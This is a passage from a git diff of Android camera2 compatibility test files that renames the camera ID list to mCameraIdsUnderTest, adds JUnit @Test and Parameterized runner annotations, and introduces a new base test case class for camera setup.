 import java.util.Map;
 import java.util.Set;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 import static junit.framework.Assert.assertTrue;
 import static org.mockito.Mockito.*;
 
 /**
  * Tests exercising edge cases in camera setup, configuration, and usage.
  */
+
+@RunWith(Parameterized.class)
 public class RobustnessTest extends Camera2AndroidTestCase {
     private static final String TAG = "RobustnessTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -79,8 +85,9 @@
      * this surface are expected have the dimensions of the closest possible buffer size in the
      * available stream configurations for a surface with this format.
      */
+    @Test
     public void testBadSurfaceDimensions() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 openDevice(id);
@@ -160,8 +167,9 @@
     /**
      * Test for making sure the mandatory stream combinations work as expected.
      */
+    @Test
     public void testMandatoryOutputCombinations() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             openDevice(id);
             MandatoryStreamCombination[] combinations =
                     mStaticInfo.getCharacteristics().get(
@@ -186,7 +194,7 @@
                     Set<String> physicalCameraIds =
                             mStaticInfo.getCharacteristics().getPhysicalCameraIds();
                     for (String physicalId : physicalCameraIds) {
-                        if (Arrays.asList(mCameraIds).contains(physicalId)) {
+                        if (Arrays.asList(mCameraIdsUnderTest).contains(physicalId)) {
                             // If physicalId is advertised in camera ID list, do not need to test
                             // its stream combination through logical camera.
                             continue;
@@ -480,8 +488,9 @@
      * Test for making sure the required reprocess input/output combinations for each hardware
      * level and capability work as expected.
      */
+    @Test
     public void testMandatoryReprocessConfigurations() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             openDevice(id);
             MandatoryStreamCombination[] combinations =
                     mStaticInfo.getCharacteristics().get(
@@ -716,9 +725,10 @@
         }
     }
 
+    @Test
     public void testBasicTriggerSequence() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s", id));
 
             try {
@@ -856,8 +866,9 @@
 
     }
 
+    @Test
     public void testSimultaneousTriggers() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s", id));
 
             try {
@@ -958,8 +969,9 @@
         }
     }
 
+    @Test
     public void testAfThenAeTrigger() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s", id));
 
             try {
@@ -1074,8 +1086,9 @@
         }
     }
 
+    @Test
     public void testAeThenAfTrigger() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s", id));
 
             try {
@@ -1190,9 +1203,10 @@
         }
     }
 
+    @Test
     public void testAeAndAfCausality() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s", id));
 
             try {
@@ -1372,8 +1386,9 @@
 
     }
 
+    @Test
     public void testAbandonRepeatingRequestSurface() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format(
                     "Testing Camera %s for abandoning surface of a repeating request", id));
 
@@ -1441,8 +1456,9 @@
         }
     }
 
+    @Test
     public void testConfigureAbandonedSurface() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format(
                     "Testing Camera %s for configuring abandoned surface", id));
 
@@ -1498,10 +1514,11 @@
         }
     }
 
+    @Test
     public void testAfSceneChange() throws Exception {
         final int NUM_FRAMES_VERIFIED = 3;
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s for AF scene change", id));
 
             StaticMetadata staticInfo =
@@ -1548,10 +1565,11 @@
         }
     }
 
+    @Test
     public void testOisDataMode() throws Exception {
         final int NUM_FRAMES_VERIFIED = 3;
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             Log.i(TAG, String.format("Testing Camera %s for OIS mode", id));
 
             StaticMetadata staticInfo =
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index b56fcbf..1ffa501 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -41,6 +41,13 @@
 import java.util.List;
 import java.util.Set;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 /**
  * <p>
  * This class covers the {@link CameraCharacteristics} tests that are not
@@ -50,6 +57,8 @@
  * Note that most of the tests in this class don't require camera open.
  * </p>
  */
+
+@RunWith(Parameterized.class)
 public class StaticMetadataTest extends Camera2AndroidTestCase {
     private static final String TAG = "StaticMetadataTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -59,6 +68,7 @@
     /**
      * Test the available capability for different hardware support level devices.
      */
+    @Test
     public void testHwSupportedLevel() throws Exception {
         Key<StreamConfigurationMap> key =
                 CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
@@ -135,6 +145,7 @@
     /**
      * Test max number of output stream reported by device
      */
+    @Test
     public void testMaxNumOutputStreams() throws Exception {
         for (String id : mAllCameraIds) {
             initStaticMetadata(id);
@@ -163,6 +174,7 @@
     /**
      * Test advertised capability does match available keys and vice versa
      */
+    @Test
     public void testCapabilities() throws Exception {
         for (String id : mAllCameraIds) {
             initStaticMetadata(id);
@@ -533,6 +545,7 @@
     /**
      * Test lens facing.
      */
+    @Test
     public void testLensFacing() throws Exception {
         for (String id : mAllCameraIds) {
             initStaticMetadata(id);
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e8d2812..25fde0e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -57,8 +57,11 @@
 
 import junit.framework.Assert;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
+@RunWith(Parameterized.class)
 public class StillCaptureTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "StillCaptureTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -91,15 +94,15 @@
      */
     @Test
     public void testJpegExif() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing JPEG exif for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                Log.i(TAG, "Testing JPEG exif for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 Size maxJpegSize = mOrderedStillSizes.get(0);
                 stillExifTestByCamera(ImageFormat.JPEG, maxJpegSize);
             } finally {
@@ -114,25 +117,25 @@
      */
     @Test
     public void testHeicExif() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing HEIC exif for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                Log.i(TAG, "Testing HEIC exif for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                if (!mAllStaticInfo.get(mCameraIds[i]).isHeicSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isHeicSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support HEIC, skipping");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
 
                 // Test maximum Heic size capture
                 List<Size> orderedHeicSizes = CameraTestUtils.getSupportedHeicSizes(
-                        mCameraIds[i], mCameraManager, null/*bound*/);
+                        mCameraIdsUnderTest[i], mCameraManager, null/*bound*/);
                 Size maxHeicSize = orderedHeicSizes.get(0);
                 stillExifTestByCamera(ImageFormat.HEIC, maxHeicSize);
 
@@ -152,25 +155,25 @@
      */
     @Test
     public void testDynamicDepthCapture() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing dynamic depth for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                Log.i(TAG, "Testing dynamic depth for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                if (!mAllStaticInfo.get(mCameraIds[i]).isDepthJpegSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isDepthJpegSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support dynamic depth, skipping");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
 
                 // Check the maximum supported size.
                 List<Size> orderedDepthJpegSizes = CameraTestUtils.getSortedSizesForFormat(
-                        mCameraIds[i], mCameraManager, ImageFormat.DEPTH_JPEG, null/*bound*/);
+                        mCameraIdsUnderTest[i], mCameraManager, ImageFormat.DEPTH_JPEG, null/*bound*/);
                 Size maxDepthJpegSize = orderedDepthJpegSizes.get(0);
                 stillDynamicDepthTestByCamera(ImageFormat.DEPTH_JPEG, maxDepthJpegSize);
             } finally {
@@ -192,7 +195,7 @@
      */
     @Test
     public void testTakePicture() throws Exception{
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing basic take picture for Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -220,7 +223,7 @@
      */
     @Test
     public void testTakePictureZsl() throws Exception{
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing basic ZSL take picture for Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -246,18 +249,18 @@
      */
     @Test
     public void testBasicRawCapture()  throws Exception {
-       for (int i = 0; i < mCameraIds.length; i++) {
+       for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
            try {
-               Log.i(TAG, "Testing raw capture for Camera " + mCameraIds[i]);
+               Log.i(TAG, "Testing raw capture for Camera " + mCameraIdsUnderTest[i]);
 
-               if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+               if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                   Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                   Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
                            ". Skip the test.");
                    continue;
                }
 
-               openDevice(mCameraIds[i]);
+               openDevice(mCameraIdsUnderTest[i]);
                rawCaptureTestByCamera(/*stillRequest*/null);
            } finally {
                closeDevice();
@@ -271,17 +274,17 @@
      */
     @Test
     public void testBasicRawZslCapture()  throws Exception {
-       for (int i = 0; i < mCameraIds.length; i++) {
+       for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
            try {
-               Log.i(TAG, "Testing raw ZSL capture for Camera " + mCameraIds[i]);
+               Log.i(TAG, "Testing raw ZSL capture for Camera " + mCameraIdsUnderTest[i]);
 
-               if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+               if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                   Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                   Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
                            ". Skip the test.");
                    continue;
                }
-               openDevice(mCameraIds[i]);
+               openDevice(mCameraIdsUnderTest[i]);
                CaptureRequest.Builder stillRequest =
                        mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
                stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
@@ -304,17 +307,17 @@
      */
     @Test
     public void testFullRawCapture() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing raw+JPEG capture for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+                Log.i(TAG, "Testing raw+JPEG capture for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
                             ". Skip the test.");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 fullRawCaptureTestByCamera(/*stillRequest*/null);
             } finally {
                 closeDevice();
@@ -333,16 +336,16 @@
      */
     @Test
     public void testFullRawZSLCapture() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing raw+JPEG ZSL capture for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+                Log.i(TAG, "Testing raw+JPEG ZSL capture for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
                             ". Skip the test.");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 CaptureRequest.Builder stillRequest =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
                 stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
@@ -364,7 +367,7 @@
      */
     @Test
     public void testTouchForFocus() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing touch for focus for Camera " + id);
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
@@ -395,7 +398,7 @@
      */
     @Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
     public void testStillPreviewCombination() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Still preview capture combination for Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -423,7 +426,7 @@
      */
     @Test
     public void testAeCompensation() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing AE compensation for Camera " + id);
 
@@ -450,7 +453,7 @@
      */
     @Test
     public void testAeRegions() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing AE regions for Camera " + id);
                 openDevice(id);
@@ -476,7 +479,7 @@
      */
     @Test
     public void testAwbRegions() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing AE regions for Camera " + id);
                 openDevice(id);
@@ -502,7 +505,7 @@
      */
     @Test
     public void testAfRegions() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing AF regions for Camera " + id);
                 openDevice(id);
@@ -528,7 +531,7 @@
      */
     @Test
     public void testPreviewPersistence() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing preview persistence for Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -546,7 +549,7 @@
 
     @Test
     public void testAePrecaptureTriggerCancelJpegCapture() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing AE precapture cancel for jpeg capture for Camera " + id);
 
@@ -581,7 +584,7 @@
      */
     @Test
     public void testAllocateBitmap() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing bitmap allocations for Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -605,7 +608,7 @@
      */
     @Test
     public void testFocalLengths() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
                 if (staticInfo.isHardwareLevelLegacy()) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 3d84d38..1f2e93e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -52,11 +52,15 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /**
  * CameraDevice preview test by using SurfaceView.
  */
+
+@RunWith(Parameterized.class)
 public class SurfaceViewPreviewTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "SurfaceViewPreviewTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -86,15 +90,15 @@
      */
     @Test
     public void testCameraPreview() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing preview for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                Log.i(TAG, "Testing preview for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 previewTestByCamera();
             } finally {
                 closeDevice();
@@ -111,15 +115,15 @@
      */
     @Test
     public void testBasicTestPatternPreview() throws Exception{
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing preview for Camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                Log.i(TAG, "Testing preview for Camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 previewTestPatternTestByCamera();
             } finally {
                 closeDevice();
@@ -133,7 +137,7 @@
      */
     @Test
     public void testPreviewFpsRange() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -159,7 +163,7 @@
      */
     @Test
     public void testSurfaceSet() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -184,15 +188,15 @@
      */
     @Test
     public void testPreparePerformance() throws Throwable {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
-                preparePerformanceTestByCamera(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
+                preparePerformanceTestByCamera(mCameraIdsUnderTest[i]);
             }
             finally {
                 closeDevice();
@@ -344,15 +348,15 @@
      */
     @Test
     public void testSurfaceEquality() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
-                surfaceEqualityTestByCamera(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
+                surfaceEqualityTestByCamera(mCameraIdsUnderTest[i]);
             }
             finally {
                 closeDevice();
@@ -435,21 +439,21 @@
      */
     @Test
     public void testDeferredSurfaces() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
                 if (staticInfo.isHardwareLevelLegacy()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] + " is legacy, skipping");
                     continue;
                 }
                 if (!staticInfo.isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
-                testDeferredSurfacesByCamera(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
+                testDeferredSurfacesByCamera(mCameraIdsUnderTest[i]);
             }
             finally {
                 closeDevice();
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidBasicTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidBasicTestCase.java
new file mode 100644
index 0000000..c240065
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidBasicTestCase.java
@@ -0,0 +1,631 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts.testcases;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
+
+import android.content.Context;
+import android.graphics.ImageFormat;
+import android.graphics.Rect;
+
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
+import android.util.Size;
+import android.hardware.camera2.cts.helpers.CameraErrorCollector;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.media.ImageReader;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.view.Surface;
+import android.view.WindowManager;
+
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+import com.android.ex.camera2.blocking.BlockingStateCallback;
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+
+public class Camera2AndroidBasicTestCase extends AndroidTestCase {
+    private static final String TAG = "Camera2AndroidBasicTestCase";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    // Default capture size: VGA size is required by CDD.
+    protected static final Size DEFAULT_CAPTURE_SIZE = new Size(640, 480);
+    protected static final int CAPTURE_WAIT_TIMEOUT_MS = 5000;
+
+    protected CameraManager mCameraManager;
+    protected CameraDevice mCamera;
+    protected CameraCaptureSession mCameraSession;
+    protected BlockingSessionCallback mCameraSessionListener;
+    protected BlockingStateCallback mCameraListener;
+    protected String[] mCameraIdsUnderTest;
+    // include both standalone camera IDs and "hidden" physical camera IDs
+    protected String[] mAllCameraIds;
+    protected HashMap<String, StaticMetadata> mAllStaticInfo;
+    protected ImageReader mReader;
+    protected Surface mReaderSurface;
+    protected Handler mHandler;
+    protected HandlerThread mHandlerThread;
+    protected StaticMetadata mStaticInfo;
+    protected CameraErrorCollector mCollector;
+    protected List<Size> mOrderedPreviewSizes; // In descending order.
+    protected List<Size> mOrderedVideoSizes; // In descending order.
+    protected List<Size> mOrderedStillSizes; // In descending order.
+    protected String mDebugFileNameBase;
+
+    protected WindowManager mWindowManager;
+
+    @Override
+    public void setContext(Context context) {
+        super.setContext(context);
+        mCameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+        assertNotNull("Can't connect to camera manager!", mCameraManager);
+        mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
+    }
+
+    /**
+     * Set up the camera2 test case required environments, including CameraManager,
+     * HandlerThread, Camera IDs, and CameraStateCallback etc.
+     */
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        /**
+         * Workaround for mockito and JB-MR2 incompatibility
+         *
+         * Avoid java.lang.IllegalArgumentException: dexcache == null
+         * https://code.google.com/p/dexmaker/issues/detail?id=2
+         */
+        System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
+
+        mCameraIdsUnderTest = mCameraManager.getCameraIdListNoLazy();
+        assertNotNull("Camera ids shouldn't be null", mCameraIdsUnderTest);
+        mHandlerThread = new HandlerThread(TAG);
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        mCameraListener = new BlockingStateCallback();
+        mCollector = new CameraErrorCollector();
+
+        File filesDir = mContext.getPackageManager().isInstantApp()
+                ? mContext.getFilesDir()
+                : mContext.getExternalFilesDir(null);
+
+        mDebugFileNameBase = filesDir.getPath();
+
+        mAllStaticInfo = new HashMap<String, StaticMetadata>();
+        List<String> hiddenPhysicalIds = new ArrayList<>();
+        for (String cameraId : mCameraIdsUnderTest) {
+            CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
+            StaticMetadata staticMetadata = new StaticMetadata(props,
+                    CheckLevel.ASSERT, /*collector*/null);
+            mAllStaticInfo.put(cameraId, staticMetadata);
+
+            for (String physicalId : props.getPhysicalCameraIds()) {
+                if (!Arrays.asList(mCameraIdsUnderTest).contains(physicalId) &&
+                        !hiddenPhysicalIds.contains(physicalId)) {
+                    hiddenPhysicalIds.add(physicalId);
+                    props = mCameraManager.getCameraCharacteristics(physicalId);
+                    staticMetadata = new StaticMetadata(
+                            mCameraManager.getCameraCharacteristics(physicalId),
+                            CheckLevel.ASSERT, /*collector*/null);
